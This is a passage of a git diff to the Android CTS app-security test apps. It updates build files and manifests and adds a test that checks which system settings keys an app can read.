@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsNoRestartFeature",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
index 26d5712..9486b9e 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
@@ -16,13 +16,15 @@
 
 package com.android.cts.norestart;
 
-import com.android.cts.norestart.R;
-
 import android.app.Activity;
 import android.content.Intent;
+import android.content.res.Resources;
 import android.os.Bundle;
 
 public class NoRestartActivity extends Activity {
+    private final static String RESOURCE_ID =
+            "com.android.cts.norestart.feature:string/no_restart_feature_text";
+
     private int mCreateCount;
     private int mNewIntentCount;
 
@@ -45,6 +47,16 @@
         final Intent intent = new Intent("com.android.cts.norestart.BROADCAST");
         intent.putExtra("CREATE_COUNT", mCreateCount);
         intent.putExtra("NEW_INTENT_COUNT", mNewIntentCount);
+        intent.putExtra("RESOURCE_CONTENT", getResourceInFeature());
         sendBroadcast(intent);
     }
+
+    private String getResourceInFeature() {
+        final Resources res = getResources();
+        final int resId = res.getIdentifier(RESOURCE_ID, null, null);
+        if (resId == 0) {
+            return null;
+        }
+        return res.getString(resId);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp
index 75aa44f..b843d42 100644
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsOrderedActivityApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
index b5f38c6..681264c 100644
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
@@ -13,124 +13,128 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.orderedactivity"
-        android:versionCode="10"
-        android:versionName="1.0"
-        android:targetSandboxVersion="2">
+     package="android.appsecurity.cts.orderedactivity"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
         <!-- Activities used for queries -->
-        <activity android:name=".OrderActivity2">
-            <intent-filter
-                    android:order="2">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <activity android:name=".OrderActivity2"
+             android:exported="true">
+            <intent-filter android:order="2">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:pathPrefix="/cts/package" />
+                     android:host="www.google.com"
+                     android:pathPrefix="/cts/package"/>
             </intent-filter>
         </activity>
-        <activity android:name=".OrderActivity1">
-            <intent-filter
-                    android:order="1">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <activity android:name=".OrderActivity1"
+             android:exported="true">
+            <intent-filter android:order="1">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:path="/cts/packageresolution" />
+                     android:host="www.google.com"
+                     android:path="/cts/packageresolution"/>
             </intent-filter>
         </activity>
-        <activity android:name=".OrderActivityDefault">
+        <activity android:name=".OrderActivityDefault"
+             android:exported="true">
             <intent-filter>
                 <!-- default order -->
-                <action android:name="android.cts.intent.action.ORDERED" />
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com" />
+                     android:host="www.google.com"/>
             </intent-filter>
         </activity>
-        <activity android:name=".OrderActivity3">
-            <intent-filter
-                    android:order="3">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <activity android:name=".OrderActivity3"
+             android:exported="true">
+            <intent-filter android:order="3">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:pathPrefix="/cts" />
+                     android:host="www.google.com"
+                     android:pathPrefix="/cts"/>
             </intent-filter>
         </activity>
 
         <!-- Services used for queries -->
-        <service android:name=".OrderServiceDefault">
+        <service android:name=".OrderServiceDefault"
+             android:exported="true">
             <intent-filter>
                 <!-- default order -->
-              <action android:name="android.cts.intent.action.ORDERED" />
+              <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com" />
+                     android:host="www.google.com"/>
             </intent-filter>
         </service>
-        <service android:name=".OrderService2">
-            <intent-filter
-                    android:order="2">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <service android:name=".OrderService2"
+             android:exported="true">
+            <intent-filter android:order="2">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:pathPrefix="/cts/package" />
+                     android:host="www.google.com"
+                     android:pathPrefix="/cts/package"/>
             </intent-filter>
         </service>
-        <service android:name=".OrderService3">
-            <intent-filter
-                    android:order="3">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <service android:name=".OrderService3"
+             android:exported="true">
+            <intent-filter android:order="3">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:pathPrefix="/cts" />
+                     android:host="www.google.com"
+                     android:pathPrefix="/cts"/>
             </intent-filter>
         </service>
-        <service android:name=".OrderService1">
-            <intent-filter
-                    android:order="1">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <service android:name=".OrderService1"
+             android:exported="true">
+            <intent-filter android:order="1">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:path="/cts/packageresolution" />
+                     android:host="www.google.com"
+                     android:path="/cts/packageresolution"/>
             </intent-filter>
         </service>
 
         <!-- Broadcast receivers used for queries -->
-        <receiver android:name=".OrderReceiver3">
-            <intent-filter
-                    android:order="3">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <receiver android:name=".OrderReceiver3"
+             android:exported="true">
+            <intent-filter android:order="3">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:pathPrefix="/cts" />
+                     android:host="www.google.com"
+                     android:pathPrefix="/cts"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".OrderReceiverDefault">
+        <receiver android:name=".OrderReceiverDefault"
+             android:exported="true">
             <intent-filter>
                 <!-- default order -->
-              <action android:name="android.cts.intent.action.ORDERED" />
+              <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com" />
+                     android:host="www.google.com"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".OrderReceiver1">
-            <intent-filter
-                    android:order="1">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <receiver android:name=".OrderReceiver1"
+             android:exported="true">
+            <intent-filter android:order="1">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:path="/cts/packageresolution" />
+                     android:host="www.google.com"
+                     android:path="/cts/packageresolution"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".OrderReceiver2">
-            <intent-filter
-                    android:order="2">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <receiver android:name=".OrderReceiver2"
+             android:exported="true">
+            <intent-filter android:order="2">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:pathPrefix="/cts/package" />
+                     android:host="www.google.com"
+                     android:pathPrefix="/cts/package"/>
             </intent-filter>
         </receiver>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.appsecurity.cts.orderedactivity" />
+         android:targetPackage="android.appsecurity.cts.orderedactivity"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp
index 063432c..02fe5bc 100644
--- a/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageAccessApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsPkgAccessApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
index c9150a8..2739866 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsPkgInstallerPermRequestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
index 8580292..87d2610 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsPkgInstallerPermWhitelistApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
index 0360901..9b3cbdf 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsPermissionDeclareApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
index 22d6d2a..ba24d02 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
@@ -12,15 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsPermissionDeclareAppCompat",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    sdk_version: "16",
+    sdk_version: "30",
+    target_sdk_version: "16",
     static_libs: ["androidx.test.rules"],
     // tag this module as a cts test artifact
     test_suites: [
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp
index d7a6cd7..91cb9bc 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.bp
@@ -1,10 +1,6 @@
 //##########################################################
 // Package w/ tests
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsPrivilegedUpdateTests",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index 59e714f..a99a78f 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -7,8 +7,6 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsShimPrivUpgradePrebuilt
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_CLASS := APPS
 LOCAL_BUILT_MODULE_STEM := package.apk
@@ -29,8 +27,6 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsShimPrivUpgradeWrongSHAPrebuilt
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_CLASS := APPS
 LOCAL_BUILT_MODULE_STEM := package.apk
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
index 768a3c0..c5565c3 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
@@ -12,14 +12,11 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsReadExternalStorageApp",
     defaults: ["cts_support_defaults"],
-    sdk_version: "29",
+    target_sdk_version: "29",
+    sdk_version: "30",
     static_libs: [
         "androidx.test.rules",
         "CtsExternalStorageTestLib",
diff --git a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/Android.bp b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/Android.bp
new file mode 100644
index 0000000..e8824a7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsReadSettingsFieldsApp",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/AndroidManifest.xml
new file mode 100644
index 0000000..9a33237
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.readsettingsfieldsapp">
+
+    <application android:label="CtsReadSettingsFieldsApp">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.readsettingsfieldsapp" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/OWNERS b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/OWNERS
new file mode 100644
index 0000000..7d65382
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 856262
+svetoslavganov@google.com
+toddke@google.com
+schfan@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java
new file mode 100644
index 0000000..326eb15
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.readsettingsfieldsapp;
+
+import android.provider.Settings;
+import android.test.AndroidTestCase;
+import android.util.ArraySet;
+
+import java.lang.reflect.Field;
+
+public class ReadSettingsFieldsTest extends AndroidTestCase {
+
+    public void testSecurePublicSettingsKeysAreReadable() {
+        for (String key : getPublicSettingsKeys(Settings.Secure.class)) {
+            try {
+                Settings.Secure.getString(getContext().getContentResolver(), key);
+            } catch (SecurityException ex) {
+                fail("Reading public Secure settings key <" + key + "> should not raise exception! "
+                        + "Did you forget to add @Readable annotation?\n" + ex.getMessage());
+            }
+        }
+    }
+
+    public void testSystemPublicSettingsKeysAreReadable() {
+        for (String key : getPublicSettingsKeys(Settings.System.class)) {
+            try {
+                Settings.System.getString(getContext().getContentResolver(), key);
+            } catch (SecurityException ex) {
+                fail("Reading public System settings key <" + key + "> should not raise exception! "
+                        + "Did you forget to add @Readable annotation?\n" + ex.getMessage());
+            }
+        }
+    }
+
+    public void testGlobalPublicSettingsKeysAreReadable() {
+        for (String key : getPublicSettingsKeys(Settings.Global.class)) {
+            try {
+                Settings.Global.getString(getContext().getContentResolver(), key);
+            } catch (SecurityException ex) {
+                fail("Reading public Global settings key <" + key + "> should not raise exception! "
+                        + "Did you forget to add @Readable annotation?\n" + ex.getMessage());
+            }
+        }
+    }
+
+    private <T> ArraySet<String> getPublicSettingsKeys(Class<T> settingsClass) {
+        final ArraySet<String> publicSettingsKeys = new ArraySet<>();
+        final Field[] allFields = settingsClass.getDeclaredFields();
+        try {
+            for (int i = 0; i < allFields.length; i++) {
+                final Field field = allFields[i];
+                if (field.getType().equals(String.class)) {
+                    final Object value = field.get(settingsClass);
+                    if (value.getClass().equals(String.class)) {
+                        publicSettingsKeys.add((String) value);
+                    }
+                }
+            }
+        } catch (IllegalAccessException ignored) {
+        }
+        return publicSettingsKeys;
+    }
+
+    public void testSecureSomeHiddenSettingsKeysAreReadable() {
+        final ArraySet<String> publicSettingsKeys = getPublicSettingsKeys(Settings.Secure.class);
+        final String[] hiddenSettingsKeys = {"adaptive_sleep", "bugreport_in_power_menu",
+                "input_methods_subtype_history"};
+        for (String key : hiddenSettingsKeys) {
+            try {
+                // Verify that the hidden keys are not visible to the test app
+                assertFalse("Settings key <" + key + "> should not be visible",
+                        publicSettingsKeys.contains(key));
+                // Verify that the hidden keys can still be read
+                Settings.Secure.getString(getContext().getContentResolver(), key);
+            } catch (SecurityException ex) {
+                fail("Reading hidden Secure settings key <" + key + "> should not raise!");
+            }
+        }
+    }
+
+    public void testSystemSomeHiddenSettingsKeysAreReadable() {
+        final ArraySet<String> publicSettingsKeys = getPublicSettingsKeys(Settings.System.class);
+        final String[] hiddenSettingsKeys = {"advanced_settings", "system_locales",
+                "display_color_mode", "min_refresh_rate"};
+        for (String key : hiddenSettingsKeys) {
+            try {
+                // Verify that the hidden keys are not visible to the test app
+                assertFalse("Settings key <" + key + "> should not be visible",
+                        publicSettingsKeys.contains(key));
+                // Verify that the hidden keys can still be read
+                Settings.System.getString(getContext().getContentResolver(), key);
+            } catch (SecurityException ex) {
+                fail("Reading hidden System settings key <" + key + "> should not raise!");
+            }
+        }
+    }
+
+    public void testGlobalSomeHiddenSettingsKeysAreReadable() {
+        final ArraySet<String> publicSettingsKeys = getPublicSettingsKeys(Settings.Secure.class);
+        final String[] hiddenSettingsKeys = {"notification_bubbles", "add_users_when_locked",
+                "enable_accessibility_global_gesture_enabled"};
+        for (String key : hiddenSettingsKeys) {
+            try {
+                // Verify that the hidden keys are not visible to the test app
+                assertFalse("Settings key <" + key + "> should not be visible",
+                        publicSettingsKeys.contains(key));
+                // Verify that the hidden keys can still be read
+                Settings.Global.getString(getContext().getContentResolver(), key);
+            } catch (SecurityException ex) {
+                fail("Reading hidden Global settings key <" + key + "> should not raise!");
+            }
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SessionInspector/Android.bp b/hostsidetests/appsecurity/test-apps/SessionInspector/Android.bp
index 797e317..4d46c79 100644
--- a/hostsidetests/appsecurity/test-apps/SessionInspector/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SessionInspector/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSessionInspectorAppA",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp
index 572f459..f547599 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSharedUidInstall",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp
index 2804998..0fb005f 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSharedUidInstallDiffCert",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp
index 12f8f73..76c8a2a 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSimpleAppInstall",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp
index ddad4ea..279f2de 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSimpleAppInstallDiffCert",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
new file mode 100644
index 0000000..5f5dd91
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
@@ -0,0 +1,171 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_defaults {
+    name: "CtsSplitAppDefaults",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    asset_dirs: ["assets"],
+    sdk_version: "current",
+    min_sdk_version: "4",
+    aapt_include_all_resources: true,
+    static_libs: [
+        "androidx.test.rules",
+        "truth-prebuilt",
+        "hamcrest-library",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp",
+    defaults: ["CtsSplitAppDefaults"],
+    package_splits: [
+        "mdpi-v4",
+        "hdpi-v4",
+        "xhdpi-v4",
+        "xxhdpi-v4",
+        "v7",
+        "v23",
+        "fr",
+        "de",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+    ],
+    // Feature splits are dependent on this base, so it must be exported.
+    export_package_resources: true,
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with a different revision code
+android_test_helper_app {
+    name: "CtsSplitAppDiffRevision",
+    defaults: ["CtsSplitAppDefaults"],
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 12",
+        "--version-name OneHundredRevisionTwelve",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with a different version code
+android_test_helper_app {
+    name: "CtsSplitAppDiffVersion",
+    defaults: ["CtsSplitAppDefaults"],
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 101",
+        "--version-name OneHundredOne",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with a different signature
+android_test_helper_app {
+    name: "CtsSplitAppDiffCert",
+    defaults: ["CtsSplitAppDefaults"],
+    package_splits: ["v7"],
+    certificate: ":cts-testkey2",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant requiring a split for install
+android_test_helper_app {
+    name: "CtsNeedSplitApp",
+    defaults: ["CtsSplitAppDefaults"],
+    manifest: "needsplit/AndroidManifest.xml",
+    package_splits: ["xxhdpi-v4"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundredRevisionTwelve",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with different codes and resources for the inherit updated test of the base apk
+android_test_helper_app {
+    name: "CtsSplitAppRevisionA",
+    defaults: ["CtsSplitAppDefaults"],
+    srcs: ["src/**/*.java", "revision_a/src/**/*.java"],
+    resource_dirs: ["res", "revision_a/res"],
+    asset_dirs: ["revision_a/assets"],
+    manifest : "revision_a/AndroidManifest.xml",
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 10",
+        "--version-name OneHundredRevisionTen",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant which includes a provider and service declared in other split apk. And they only
+// could be tested in the instant app.
+android_test_helper_app {
+    name: "CtsSplitInstantApp",
+    defaults: ["CtsSplitAppDefaults"],
+    manifest : "instantapp/AndroidManifest.xml",
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index 08a94b5..73c2f58 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -16,154 +16,6 @@
 
